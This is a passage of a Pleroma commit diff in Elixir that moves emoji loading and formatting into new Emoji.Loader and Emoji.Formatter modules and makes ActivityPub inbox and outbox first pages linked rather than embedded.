aboutsummaryrefslogtreecommitdiff
diff options
context:
space:
mode:
-rw-r--r--CHANGELOG.md1
-rw-r--r--lib/mix/tasks/pleroma/emoji.ex2
-rw-r--r--lib/pleroma/emoji.ex248
-rw-r--r--lib/pleroma/emoji/formatter.ex59
-rw-r--r--lib/pleroma/emoji/loader.ex224
-rw-r--r--lib/pleroma/formatter.ex47
-rw-r--r--lib/pleroma/web/activity_pub/activity_pub.ex2
-rw-r--r--lib/pleroma/web/activity_pub/activity_pub_controller.ex65
-rw-r--r--lib/pleroma/web/activity_pub/views/user_view.ex86
-rw-r--r--lib/pleroma/web/common_api/common_api.ex18
-rw-r--r--lib/pleroma/web/common_api/utils.ex7
-rw-r--r--lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex6
-rw-r--r--lib/pleroma/web/metadata/utils.ex5
-rw-r--r--lib/pleroma/web/pleroma_api/controllers/emoji_api_controller.ex116
-rw-r--r--lib/pleroma/web/router.ex1
-rw-r--r--lib/pleroma/web/twitter_api/controllers/util_controller.ex6
-rw-r--r--mix.lock4
-rw-r--r--test/emoji/formatter_test.exs64
-rw-r--r--test/emoji/loader_test.exs83
-rw-r--r--test/emoji_test.exs83
-rw-r--r--test/formatter_test.exs84
-rw-r--r--test/tasks/instance_test.exs11
-rw-r--r--test/web/activity_pub/activity_pub_controller_test.exs6
-rw-r--r--test/web/activity_pub/views/user_view_test.exs16
-rw-r--r--test/web/pleroma_api/emoji_api_controller_test.exs26
25 files changed, 718 insertions, 552 deletions
diff --git a/CHANGELOG.md b/CHANGELOG.md
index 649fbc0be..2d6ddd5d6 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -44,6 +44,7 @@ The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/).
- Improve digest email template
– Pagination: (optional) return `total` alongside with `items` when paginating
- Add `rel="ugc"` to all links in statuses, to prevent SEO spam
+- ActivityPub: The first page in inboxes/outboxes is no longer embedded.
### Fixed
- Following from Osada
diff --git a/lib/mix/tasks/pleroma/emoji.ex b/lib/mix/tasks/pleroma/emoji.ex
index 238d8dcd9..881a6f725 100644
--- a/lib/mix/tasks/pleroma/emoji.ex
+++ b/lib/mix/tasks/pleroma/emoji.ex
@@ -235,7 +235,7 @@ defmodule Mix.Tasks.Pleroma.Emoji do
cwd: tmp_pack_dir
)
- emoji_map = Pleroma.Emoji.make_shortcode_to_file_map(tmp_pack_dir, exts)
+ emoji_map = Pleroma.Emoji.Loader.make_shortcode_to_file_map(tmp_pack_dir, exts)
File.write!(files_name, Jason.encode!(emoji_map, pretty: true))
diff --git a/lib/pleroma/emoji.ex b/lib/pleroma/emoji.ex
index 170a7d098..bafad2ae9 100644
--- a/lib/pleroma/emoji.ex
+++ b/lib/pleroma/emoji.ex
@@ -4,24 +4,37 @@
defmodule Pleroma.Emoji do
@moduledoc """
- The emojis are loaded from:
-
- * emoji packs in INSTANCE-DIR/emoji
- * the files: `config/emoji.txt` and `config/custom_emoji.txt`
- * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
-
- This GenServer stores in an ETS table the list of the loaded emojis, and also allows to reload the list at runtime.
+ This GenServer stores in an ETS table the list of the loaded emojis,
+ and also allows to reload the list at runtime.
"""
use GenServer
- require Logger
+ alias Pleroma.Emoji.Loader
- @type pattern :: Regex.t() | module() | String.t()
- @type patterns :: pattern() | [pattern()]
- @type group_patterns :: keyword(patterns())
+ require Logger
@ets __MODULE__.Ets
- @ets_options [:ordered_set, :protected, :named_table, {:read_concurrency, true}]
+ @ets_options [
+ :ordered_set,
+ :protected,
+ :named_table,
+ {:read_concurrency, true}
+ ]
+
+ defstruct [:code, :file, :tags, :safe_code, :safe_file]
+
+ @doc "Build emoji struct"
+ def build({code, file, tags}) do
+ %__MODULE__{
+ code: code,
+ file: file,
+ tags: tags,
+ safe_code: Pleroma.HTML.strip_tags(code),
+ safe_file: Pleroma.HTML.strip_tags(file)
+ }
+ end
+
+ def build({code, file}), do: build({code, file, []})
@doc false
def start_link(_) do
@@ -44,11 +57,14 @@ defmodule Pleroma.Emoji do
end
@doc "Returns all the emojos!!"
- @spec get_all() :: [{String.t(), String.t()}, ...]
+ @spec get_all() :: list({String.t(), String.t(), String.t()})
def get_all do
:ets.tab2list(@ets)
end
+ @doc "Clear out old emojis"
+ def clear_all, do: :ets.delete_all_objects(@ets)
+
@doc false
def init(_) do
@ets = :ets.new(@ets, @ets_options)
@@ -58,13 +74,13 @@ defmodule Pleroma.Emoji do
@doc false
def handle_cast(:reload, state) do
- load()
+ update_emojis(Loader.load())
{:noreply, state}
end
@doc false
def handle_call(:reload, _from, state) do
- load()
+ update_emojis(Loader.load())
{:reply, :ok, state}
end
@@ -75,207 +91,11 @@ defmodule Pleroma.Emoji do
@doc false
def code_change(_old_vsn, state, _extra) do
- load()
+ update_emojis(Loader.load())
{:ok, state}
end
- defp load do
- emoji_dir_path =
- Path.join(
- Pleroma.Config.get!([:instance, :static_dir]),
- "emoji"
- )
-
- emoji_groups = Pleroma.Config.get([:emoji, :groups])
-
- case File.ls(emoji_dir_path) do
- {:error, :enoent} ->
- # The custom emoji directory doesn't exist,
- # don't do anything
- nil
-
- {:error, e} ->
- # There was some other error
- Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
-
- {:ok, results} ->
- grouped =
- Enum.group_by(results, fn file -> File.dir?(Path.join(emoji_dir_path, file)) end)
-
- packs = grouped[true] || []
- files = grouped[false] || []
-
- # Print the packs we've found
- Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
-
- if not Enum.empty?(files) do
- Logger.warn(
- "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
- Enum.join(files, ", ")
- }"
- )
- end
-
- emojis =
- Enum.flat_map(
- packs,
- fn pack -> load_pack(Path.join(emoji_dir_path, pack), emoji_groups) end
- )
-
- # Clear out old emojis
- :ets.delete_all_objects(@ets)
-
- true = :ets.insert(@ets, emojis)
- end
-
- # Compat thing for old custom emoji handling & default emoji,
- # it should run even if there are no emoji packs
- shortcode_globs = Pleroma.Config.get([:emoji, :shortcode_globs], [])
-
- emojis =
- (load_from_file("config/emoji.txt", emoji_groups) ++
- load_from_file("config/custom_emoji.txt", emoji_groups) ++
- load_from_globs(shortcode_globs, emoji_groups))
- |> Enum.reject(fn value -> value == nil end)
-
- true = :ets.insert(@ets, emojis)
-
- :ok
- end
-
- defp load_pack(pack_dir, emoji_groups) do
- pack_name = Path.basename(pack_dir)
-
- pack_file = Path.join(pack_dir, "pack.json")
-
- if File.exists?(pack_file) do
- contents = Jason.decode!(File.read!(pack_file))
-
- contents["files"]
- |> Enum.map(fn {name, rel_file} ->
- filename = Path.join("/emoji/#{pack_name}", rel_file)
- {name, filename, pack_name}
- end)
- else
- # Load from emoji.txt / all files
- emoji_txt = Path.join(pack_dir, "emoji.txt")
-
- if File.exists?(emoji_txt) do
- load_from_file(emoji_txt, emoji_groups)
- else
- extensions = Pleroma.Config.get([:emoji, :pack_extensions])
-
- Logger.info(
- "No emoji.txt found for pack \"#{pack_name}\", assuming all #{
- Enum.join(extensions, ", ")
- } files are emoji"
- )
-
- make_shortcode_to_file_map(pack_dir, extensions)
- |> Enum.map(fn {shortcode, rel_file} ->
- filename = Path.join("/emoji/#{pack_name}", rel_file)
-
- {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
- end)
- end
- end
- end
-
- def make_shortcode_to_file_map(pack_dir, exts) do
- find_all_emoji(pack_dir, exts)
- |> Enum.map(&Path.relative_to(&1, pack_dir))
- |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
- |> Enum.into(%{})
- end
-
- def find_all_emoji(dir, exts) do
- Enum.reduce(
- File.ls!(dir),
- [],
- fn f, acc ->
- filepath = Path.join(dir, f)
-
- if File.dir?(filepath) do
- acc ++ find_all_emoji(filepath, exts)
- else
- acc ++ [filepath]
- end
- end
- )
- |> Enum.filter(fn f -> Path.extname(f) in exts end)
- end
-
- defp load_from_file(file, emoji_groups) do
- if File.exists?(file) do
- load_from_file_stream(File.stream!(file), emoji_groups)
- else
- []
- end
- end
-
- defp load_from_file_stream(stream, emoji_groups) do
- stream
- |> Stream.map(&String.trim/1)
- |> Stream.map(fn line ->
- case String.split(line, ~r/,\s*/) do
- [name, file] ->
- {name, file, [to_string(match_extra(emoji_groups, file))]}
-
- [name, file | tags] ->
- {name, file, tags}
-
- _ ->
- nil
- end
- end)
- |> Enum.to_list()
- end
-
- defp load_from_globs(globs, emoji_groups) do
- static_path = Path.join(:code.priv_dir(:pleroma), "static")
-
- paths =
- Enum.map(globs, fn glob ->
- Path.join(static_path, glob)
- |> Path.wildcard()
- end)
- |> Enum.concat()
-
- Enum.map(paths, fn path ->
- tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
- shortcode = Path.basename(path, Path.extname(path))
- external_path = Path.join("/", Path.relative_to(path, static_path))
- {shortcode, external_path, [to_string(tag)]}
- end)
- end
-
- @doc """
- Finds a matching group for the given emoji filename
- """
- @spec match_extra(group_patterns(), String.t()) :: atom() | nil
- def match_extra(group_patterns, filename) do
- match_group_patterns(group_patterns, fn pattern ->
- case pattern do
- %Regex{} = regex -> Regex.match?(regex, filename)
- string when is_binary(string) -> filename == string
- end
- end)
- end
-
- defp match_group_patterns(group_patterns, matcher) do
- Enum.find_value(group_patterns, fn {group, patterns} ->
- patterns =
- patterns
- |> List.wrap()
- |> Enum.map(fn pattern ->
- if String.contains?(pattern, "*") do
- ~r(#{String.replace(pattern, "*", ".*")})
- else
- pattern
- end
- end)
-
- Enum.any?(patterns, matcher) && group
- end)
+ defp update_emojis(emojis) do
+ :ets.insert(@ets, emojis)
end
end
diff --git a/lib/pleroma/emoji/formatter.ex b/lib/pleroma/emoji/formatter.ex
new file mode 100644
index 000000000..4869d073e
--- /dev/null
+++ b/lib/pleroma/emoji/formatter.ex
@@ -0,0 +1,59 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.Formatter do
+ alias Pleroma.Emoji
+ alias Pleroma.HTML
+ alias Pleroma.Web.MediaProxy
+
+ def emojify(text) do
+ emojify(text, Emoji.get_all())
+ end
+
+ def emojify(text, nil), do: text
+
+ def emojify(text, emoji, strip \\ false) do
+ Enum.reduce(emoji, text, fn
+ {_, %Emoji{safe_code: emoji, safe_file: file}}, text ->
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+
+ {unsafe_emoji, unsafe_file}, text ->
+ emoji = HTML.strip_tags(unsafe_emoji)
+ file = HTML.strip_tags(unsafe_file)
+ String.replace(text, ":#{emoji}:", prepare_emoji_html(emoji, file, strip))
+ end)
+ |> HTML.filter_tags()
+ end
+
+ defp prepare_emoji_html(_emoji, _file, true), do: ""
+
+ defp prepare_emoji_html(emoji, file, _strip) do
+ "<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
+ end
+
+ def demojify(text) do
+ emojify(text, Emoji.get_all(), true)
+ end
+
+ def demojify(text, nil), do: text
+
+ @doc "Outputs a list of the emoji-shortcodes in a text"
+ def get_emoji(text) when is_binary(text) do
+ Enum.filter(Emoji.get_all(), fn {emoji, %Emoji{}} ->
+ String.contains?(text, ":#{emoji}:")
+ end)
+ end
+
+ def get_emoji(_), do: []
+
+ @doc "Outputs a list of the emoji-Maps in a text"
+ def get_emoji_map(text) when is_binary(text) do
+ get_emoji(text)
+ |> Enum.reduce(%{}, fn {name, %Emoji{file: file}}, acc ->
+ Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
+ end)
+ end
+
+ def get_emoji_map(_), do: []
+end
diff --git a/lib/pleroma/emoji/loader.ex b/lib/pleroma/emoji/loader.ex
new file mode 100644
index 000000000..4f4ee51d1
--- /dev/null
+++ b/lib/pleroma/emoji/loader.ex
@@ -0,0 +1,224 @@
+# Pleroma: A lightweight social networking server
+# Copyright © 2017-2019 Pleroma Authors <https://pleroma.social/>
+# SPDX-License-Identifier: AGPL-3.0-only
+
+defmodule Pleroma.Emoji.Loader do
+ @moduledoc """
+ The Loader emoji from:
+
+ * emoji packs in INSTANCE-DIR/emoji
+ * the files: `config/emoji.txt` and `config/custom_emoji.txt`
+ * glob paths, nested folder is used as tag name for grouping e.g. priv/static/emoji/custom/nested_folder
+ """
+ alias Pleroma.Config
+ alias Pleroma.Emoji
+
+ require Logger
+
+ @type pattern :: Regex.t() | module() | String.t()
+ @type patterns :: pattern() | [pattern()]
+ @type group_patterns :: keyword(patterns())
+ @type emoji :: {String.t(), Emoji.t()}
+
+ @doc """
+ Loads emojis from files/packs.
+
+ returns list emojis in format:
+ `{"000", "/emoji/freespeechextremist.com/000.png", ["Custom"]}`
+ """
+ @spec load() :: list(emoji)
+ def load do
+ emoji_dir_path = Path.join(Config.get!([:instance, :static_dir]), "emoji")
+
+ emoji_groups = Config.get([:emoji, :groups])
+
+ emojis =
+ case File.ls(emoji_dir_path) do
+ {:error, :enoent} ->
+ # The custom emoji directory doesn't exist,
+ # don't do anything
+ []
+
+ {:error, e} ->
+ # There was some other error
+ Logger.error("Could not access the custom emoji directory #{emoji_dir_path}: #{e}")
+ []
+
+ {:ok, results} ->
+ grouped =
+ Enum.group_by(results, fn file ->
+ File.dir?(Path.join(emoji_dir_path, file))
+ end)
+
+ packs = grouped[true] || []
+ files = grouped[false] || []
+
+ # Print the packs we've found
+ Logger.info("Found emoji packs: #{Enum.join(packs, ", ")}")
+
+ if not Enum.empty?(files) do
+ Logger.warn(
+ "Found files in the emoji folder. These will be ignored, please move them to a subdirectory\nFound files: #{
+ Enum.join(files, ", ")
+ }"
+ )
+ end
+
+ emojis =
+ Enum.flat_map(packs, fn pack ->
+ load_pack(Path.join(emoji_dir_path, pack), emoji_groups)
+ end)
+
+ Emoji.clear_all()
+ emojis
+ end
+
+ # Compat thing for old custom emoji handling & default emoji,
+ # it should run even if there are no emoji packs
+ shortcode_globs = Config.get([:emoji, :shortcode_globs], [])
+
+ emojis_txt =
+ (load_from_file("config/emoji.txt", emoji_groups) ++
+ load_from_file("config/custom_emoji.txt", emoji_groups) ++
+ load_from_globs(shortcode_globs, emoji_groups))
+ |> Enum.reject(fn value -> value == nil end)
+
+ Enum.map(emojis ++ emojis_txt, &prepare_emoji/1)
+ end
+
+ defp prepare_emoji({code, _, _} = emoji), do: {code, Emoji.build(emoji)}
+
+ defp load_pack(pack_dir, emoji_groups) do
+ pack_name = Path.basename(pack_dir)
+
+ pack_file = Path.join(pack_dir, "pack.json")
+
+ if File.exists?(pack_file) do
+ contents = Jason.decode!(File.read!(pack_file))
+
+ contents["files"]
+ |> Enum.map(fn {name, rel_file} ->
+ filename = Path.join("/emoji/#{pack_name}", rel_file)
+ {name, filename, ["pack:#{pack_name}"]}
+ end)
+ else
+ # Load from emoji.txt / all files
+ emoji_txt = Path.join(pack_dir, "emoji.txt")
+
+ if File.exists?(emoji_txt) do
+ load_from_file(emoji_txt, emoji_groups)
+ else
+ extensions = Pleroma.Config.get([:emoji, :pack_extensions])
+
+ Logger.info(
+ "No emoji.txt found for pack \"#{pack_name}\", assuming all #{
+ Enum.join(extensions, ", ")
+ } files are emoji"
+ )
+
+ make_shortcode_to_file_map(pack_dir, extensions)
+ |> Enum.map(fn {shortcode, rel_file} ->
+ filename = Path.join("/emoji/#{pack_name}", rel_file)
+
+ {shortcode, filename, [to_string(match_extra(emoji_groups, filename))]}
+ end)
+ end
+ end
+ end
+
+ def make_shortcode_to_file_map(pack_dir, exts) do
+ find_all_emoji(pack_dir, exts)
+ |> Enum.map(&Path.relative_to(&1, pack_dir))
+ |> Enum.map(fn f -> {f |> Path.basename() |> Path.rootname(), f} end)
+ |> Enum.into(%{})
+ end
+
+ def find_all_emoji(dir, exts) do
+ dir
+ |> File.ls!()
+ |> Enum.flat_map(fn f ->
+ filepath = Path.join(dir, f)
+
+ if File.dir?(filepath) do
+ find_all_emoji(filepath, exts)
+ else
+ [filepath]
+ end
+ end)
+ |> Enum.filter(fn f -> Path.extname(f) in exts end)
+ end
+
+ defp load_from_file(file, emoji_groups) do
+ if File.exists?(file) do
+ load_from_file_stream(File.stream!(file), emoji_groups)
+ else
+ []
+ end
+ end
+
+ defp load_from_file_stream(stream, emoji_groups) do
+ stream
+ |> Stream.map(&String.trim/1)
+ |> Stream.map(fn line ->
+ case String.split(line, ~r/,\s*/) do
+ [name, file] ->
+ {name, file, [to_string(match_extra(emoji_groups, file))]}
+
+ [name, file | tags] ->
+ {name, file, tags}
+
+ _ ->
+ nil
+ end
+ end)
+ |> Enum.to_list()
+ end
+
+ defp load_from_globs(globs, emoji_groups) do
+ static_path = Path.join(:code.priv_dir(:pleroma), "static")
+
+ paths =
+ Enum.map(globs, fn glob ->
+ Path.join(static_path, glob)
+ |> Path.wildcard()
+ end)
+ |> Enum.concat()
+
+ Enum.map(paths, fn path ->
+ tag = match_extra(emoji_groups, Path.join("/", Path.relative_to(path, static_path)))
+ shortcode = Path.basename(path, Path.extname(path))
+ external_path = Path.join("/", Path.relative_to(path, static_path))
+ {shortcode, external_path, [to_string(tag)]}
+ end)
+ end
+
+ @doc """
+ Finds a matching group for the given emoji filename
+ """
+ @spec match_extra(group_patterns(), String.t()) :: atom() | nil
+ def match_extra(group_patterns, filename) do
+ match_group_patterns(group_patterns, fn pattern ->
+ case pattern do
+ %Regex{} = regex -> Regex.match?(regex, filename)
+ string when is_binary(string) -> filename == string
+ end
+ end)
+ end
+
+ defp match_group_patterns(group_patterns, matcher) do
+ Enum.find_value(group_patterns, fn {group, patterns} ->
+ patterns =
+ patterns
+ |> List.wrap()
+ |> Enum.map(fn pattern ->
+ if String.contains?(pattern, "*") do
+ ~r(#{String.replace(pattern, "*", ".*")})
+ else
+ pattern
+ end
+ end)
+
+ Enum.any?(patterns, matcher) && group
+ end)
+ end
+end
diff --git a/lib/pleroma/formatter.ex b/lib/pleroma/formatter.ex
index 23a5ac8fe..931b9af2b 100644
--- a/lib/pleroma/formatter.ex
+++ b/lib/pleroma/formatter.ex
@@ -3,10 +3,8 @@
# SPDX-License-Identifier: AGPL-3.0-only
defmodule Pleroma.Formatter do
- alias Pleroma.Emoji
alias Pleroma.HTML
alias Pleroma.User
- alias Pleroma.Web.MediaProxy
@safe_mention_regex ~r/^(\s*(?<mentions>(@.+?\s+){1,})+)(?<rest>.*)/s
@link_regex ~r"((?:http(s)?:\/\/)?[\w.-]+(?:\.[\w\.-]+)+[\w\-\._~%:/?#[\]@!\$&'\(\)\*\+,;=.]+)|[0-9a-z+\-\.]+:[0-9a-z$-_.+!*'(),]+"ui
@@ -100,51 +98,6 @@ defmodule Pleroma.Formatter do
end
end
- def emojify(text) do
- emojify(text, Emoji.get_all())
- end
-
- def emojify(text, nil), do: text
-
- def emojify(text, emoji, strip \\ false) do
- Enum.reduce(emoji, text, fn emoji_data, text ->
- emoji = HTML.strip_tags(elem(emoji_data, 0))
- file = HTML.strip_tags(elem(emoji_data, 1))
-
- html =
- if not strip do
- "<img class='emoji' alt='#{emoji}' title='#{emoji}' src='#{MediaProxy.url(file)}' />"
- else
- ""
- end
-
- String.replace(text, ":#{emoji}:", html) |> HTML.filter_tags()
- end)
- end
-
- def demojify(text) do
- emojify(text, Emoji.get_all(), true)
- end
-
- def demojify(text, nil), do: text
-
- @doc "Outputs a list of the emoji-shortcodes in a text"
- def get_emoji(text) when is_binary(text) do
- Enum.filter(Emoji.get_all(), fn {emoji, _, _} -> String.contains?(text, ":#{emoji}:") end)
- end
-
- def get_emoji(_), do: []
-
- @doc "Outputs a list of the emoji-Maps in a text"
- def get_emoji_map(text) when is_binary(text) do
- get_emoji(text)
- |> Enum.reduce(%{}, fn {name, file, _group}, acc ->
- Map.put(acc, name, "#{Pleroma.Web.Endpoint.static_url()}#{file}")
- end)
- end
-
- def get_emoji_map(_), do: []
-
def html_escape({text, mentions, hashtags}, type) do
{html_escape(text, type), mentions, hashtags}
end
diff --git a/lib/pleroma/web/activity_pub/activity_pub.ex b/lib/pleroma/web/activity_pub/activity_pub.ex
index bb0a5ca73..72755904b 100644
--- a/lib/pleroma/web/activity_pub/activity_pub.ex
+++ b/lib/pleroma/web/activity_pub/activity_pub.ex
@@ -834,7 +834,7 @@ defmodule Pleroma.Web.ActivityPub.ActivityPub do
defp restrict_muted_reblogs(query, _), do: query
- defp exclude_poll_votes(query, %{"include_poll_votes" => "true"}), do: query
+ defp exclude_poll_votes(query, %{"include_poll_votes" => true}), do: query
defp exclude_poll_votes(query, _) do
if has_named_binding?(query, :object) do
diff --git a/lib/pleroma/web/activity_pub/activity_pub_controller.ex b/lib/pleroma/web/activity_pub/activity_pub_controller.ex
index 9eb86106f..8112f6642 100644
--- a/lib/pleroma/web/activity_pub/activity_pub_controller.ex
+++ b/lib/pleroma/web/activity_pub/activity_pub_controller.ex
@@ -231,13 +231,43 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do
end
end
- def outbox(conn, %{"nickname" => nickname} = params) do
+ def outbox(conn, %{"nickname" => nickname, "page" => page?} = params)
+ when page? in [true, "true"] do
with %User{} = user <- User.get_cached_by_nickname(nickname),
{:ok, user} <- User.ensure_keys_present(user) do
+ activities =
+ if params["max_id"] do
+ ActivityPub.fetch_user_activities(user, nil, %{
+ "max_id" => params["max_id"],
+ # This is a hack because postgres generates inefficient queries when filtering by
+ # 'Answer', poll votes will be hidden by the visibility filter in this case anyway
+ "include_poll_votes" => true,
+ "limit" => 10
+ })
+ else
+ ActivityPub.fetch_user_activities(user, nil, %{
+ "limit" => 10,
+ "include_poll_votes" => true
+ })
+ end
+
conn
|> put_resp_content_type("application/activity+json")
|> put_view(UserView)
- |> render("outbox.json", %{user: user, max_id: params["max_id"]})
+ |> render("activity_collection_page.json", %{
+ activities: activities,
+ iri: "#{user.ap_id}/outbox"
+ })
+ end
+ end
+
+ def outbox(conn, %{"nickname" => nickname}) do
+ with %User{} = user <- User.get_cached_by_nickname(nickname),
+ {:ok, user} <- User.ensure_keys_present(user) do
+ conn
+ |> put_resp_content_type("application/activity+json")
+ |> put_view(UserView)
+ |> render("activity_collection.json", %{iri: "#{user.ap_id}/outbox"})
end
end
@@ -315,12 +345,37 @@ defmodule Pleroma.Web.ActivityPub.ActivityPubController do
def read_inbox(
%{assigns: %{user: %{nickname: nickname} = user}} = conn,
- %{"nickname" => nickname} = params
- ) do
+ %{"nickname" => nickname, "page" => page?} = params
+ )
+ when page? in [true, "true"] do
+ activities =
+ if params["max_id"] do
+ ActivityPub.fetch_activities([user.ap_id | user.following], %{
+ "max_id" => params["max_id"],
+ "limit" => 10
+ })
+ else
+ ActivityPub.fetch_activities([user.ap_id | user.following], %{"limit" => 10})
+ end
+
conn
|> put_resp_content_type("application/activity+json")
|> put_view(UserView)
- |> render("inbox.json", user: user, max_id: params["max_id"])
+ |> render("activity_collection_page.json", %{
+ activities: activities,
+ iri: "#{user.ap_id}/inbox"
+ })
+ end
+
+ def read_inbox(%{assigns: %{user: %{nickname: nickname} = user}} = conn, %{
+ "nickname" => nickname
+ }) do
+ with {:ok, user} <- User.ensure_keys_present(user) do
+ conn
+ |> put_resp_content_type("application/activity+json")
+ |> put_view(UserView)
+ |> render("activity_collection.json", %{iri: "#{user.ap_id}/inbox"})
+ end
end
def read_inbox(%{assigns: %{user: nil}} = conn, %{"nickname" => nickname}) do
diff --git a/lib/pleroma/web/activity_pub/views/user_view.ex b/lib/pleroma/web/activity_pub/views/user_view.ex
index 352d856fa..4e37be5db 100644
--- a/lib/pleroma/web/activity_pub/views/user_view.ex
+++ b/lib/pleroma/web/activity_pub/views/user_view.ex
@@ -8,7 +8,6 @@ defmodule Pleroma.Web.ActivityPub.UserView do
alias Pleroma.Keys
alias Pleroma.Repo
alias Pleroma.User
- alias Pleroma.Web.ActivityPub.ActivityPub
alias Pleroma.Web.ActivityPub.Transmogrifier
alias Pleroma.Web.ActivityPub.Utils
alias Pleroma.Web.Endpoint
@@ -210,20 +209,16 @@ defmodule Pleroma.Web.ActivityPub.UserView do
|> Map.merge(Utils.make_json_ld_header())
end
- def render("outbox.json", %{user: user, max_id: max_qid}) do
- params = %{
- "limit" => "10"
+ def render("activity_collection.json", %{iri: iri}) do
+ %{
+ "id" => iri,
+ "type" => "OrderedCollection",
+ "first" => "#{iri}?page=true"
}
+ |> Map.merge(Utils.make_json_ld_header())
+ end
- params =
- if max_qid != nil do
- Map.put(params, "max_id", max_qid)
- else
- params
- end
-
- activities = ActivityPub.fetch_user_activities(user, nil, params)
-
+ def render("activity_collection_page.json", %{activities: activities, iri: iri}) do
# this is sorted chronologically, so first activity is the newest (max)
{max_id, min_id, collection} =
if length(activities) > 0 do
@@ -243,71 +238,14 @@ defmodule Pleroma.Web.ActivityPub.UserView do
}
end
- iri = "#{user.ap_id}/outbox"
-
- page = %{
- "id" => "#{iri}?max_id=#{max_id}",
- "type" => "OrderedCollectionPage",
- "partOf" => iri,
- "orderedItems" => collection,
- "next" => "#{iri}?max_id=#{min_id}"
- }
-
- if max_qid == nil do
- %{
- "id" => iri,
- "type" => "OrderedCollection",
- "first" => page
- }
- |> Map.merge(Utils.make_json_ld_header())
- else
- page |> Map.merge(Utils.make_json_ld_header())
- end
- end
-
- def render("inbox.json", %{user: user, max_id: max_qid}) do
- params = %{
- "limit" => "10"
- }
-
- params =
- if max_qid != nil do
- Map.put(params, "max_id", max_qid)
- else
- params
- end
-
- activities = ActivityPub.fetch_activities([user.ap_id | user.following], params)
-
- min_id = Enum.at(Enum.reverse(activities), 0).id
- max_id = Enum.at(activities, 0).id
-
- collection =
- Enum.map(activities, fn act ->
- {:ok, data} = Transmogrifier.prepare_outgoing(act.data)
- data
- end)
-
- iri = "#{user.ap_id}/inbox"
-
- page = %{
- "id" => "#{iri}?max_id=#{max_id}",
+ %{
+ "id" => "#{iri}?max_id=#{max_id}&page=true",
"type" => "OrderedCollectionPage",
"partOf" => iri,
"orderedItems" => collection,
- "next" => "#{iri}?max_id=#{min_id}"
+ "next" => "#{iri}?max_id=#{min_id}&page=true"
}
-
- if max_qid == nil do
- %{
- "id" => iri,
- "type" => "OrderedCollection",
- "first" => page
- }
- |> Map.merge(Utils.make_json_ld_header())
- else
- page |> Map.merge(Utils.make_json_ld_header())
- end
+ |> Map.merge(Utils.make_json_ld_header())
end
def collection(collection, iri, page, show_items \\ true, total \\ nil) do
diff --git a/lib/pleroma/web/common_api/common_api.ex b/lib/pleroma/web/common_api/common_api.ex
index 5faddc9f4..9ee704022 100644
--- a/lib/pleroma/web/common_api/common_api.ex
+++ b/lib/pleroma/web/common_api/common_api.ex
@@ -6,7 +6,7 @@ defmodule Pleroma.Web.CommonAPI do
alias Pleroma.Activity
alias Pleroma.ActivityExpiration
alias Pleroma.Conversation.Participation
- alias Pleroma.Formatter
+ alias Pleroma.Emoji
alias Pleroma.Object
alias Pleroma.ThreadMute
alias Pleroma.User
@@ -261,12 +261,7 @@ defmodule Pleroma.Web.CommonAPI do
sensitive,
poll
),
- object <-
- Map.put(
- object,
- "emoji",
- Map.merge(Formatter.get_emoji_map(full_payload), poll_emoji)
- ) do
+ object <- put_emoji(object, full_payload, poll_emoji) do
preview? = Pleroma.Web.ControllerHelper.truthy_param?(data["preview"]) || false
direct? = visibility == "direct"
@@ -300,6 +295,15 @@ defmodule Pleroma.Web.CommonAPI do
end
end
+ # parse and put emoji to object data
+ defp put_emoji(map, text, emojis) do
+ Map.put(
+ map,
+ "emoji",
+ Map.merge(Emoji.Formatter.get_emoji_map(text), emojis)
+ )
+ end
+
# Updates the emojis for a user based on their profile
def update(user) do
user =
diff --git a/lib/pleroma/web/common_api/utils.ex b/lib/pleroma/web/common_api/utils.ex
index 6958c7511..1fb95f4ab 100644
--- a/lib/pleroma/web/common_api/utils.ex
+++ b/lib/pleroma/web/common_api/utils.ex
@@ -9,6 +9,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
alias Pleroma.Activity
alias Pleroma.Config
alias Pleroma.Conversation.Participation
+ alias Pleroma.Emoji
alias Pleroma.Formatter
alias Pleroma.Object
alias Pleroma.Plugs.AuthenticationPlug
@@ -184,7 +185,7 @@ defmodule Pleroma.Web.CommonAPI.Utils do
"name" => option,
"type" => "Note",
"replies" => %{"type" => "Collection", "totalItems" => 0}
- }, Map.merge(emoji, Formatter.get_emoji_map(option))}
+ }, Map.merge(emoji, Emoji.Formatter.get_emoji_map(option))}
end)
case expires_in do
@@ -434,8 +435,8 @@ defmodule Pleroma.Web.CommonAPI.Utils do
end
def emoji_from_profile(%{info: _info} = user) do
- (Formatter.get_emoji(user.bio) ++ Formatter.get_emoji(user.name))
- |> Enum.map(fn {shortcode, url, _} ->
+ (Emoji.Formatter.get_emoji(user.bio) ++ Emoji.Formatter.get_emoji(user.name))
+ |> Enum.map(fn {shortcode, %Emoji{file: url}} ->
%{
"type" => "Emoji",
"icon" => %{"type" => "Image", "url" => "#{Endpoint.url()}#{url}"},
diff --git a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
index 6421c2c53..bb81b061e 100644
--- a/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
+++ b/lib/pleroma/web/mastodon_api/controllers/mastodon_api_controller.ex
@@ -13,8 +13,8 @@ defmodule Pleroma.Web.MastodonAPI.MastodonAPIController do
alias Pleroma.Bookmark
alias Pleroma.Config
alias Pleroma.Conversation.Participation
+ alias Pleroma.Emoji
alias Pleroma.Filter
- alias Pleroma.Formatter
alias Pleroma.HTTP
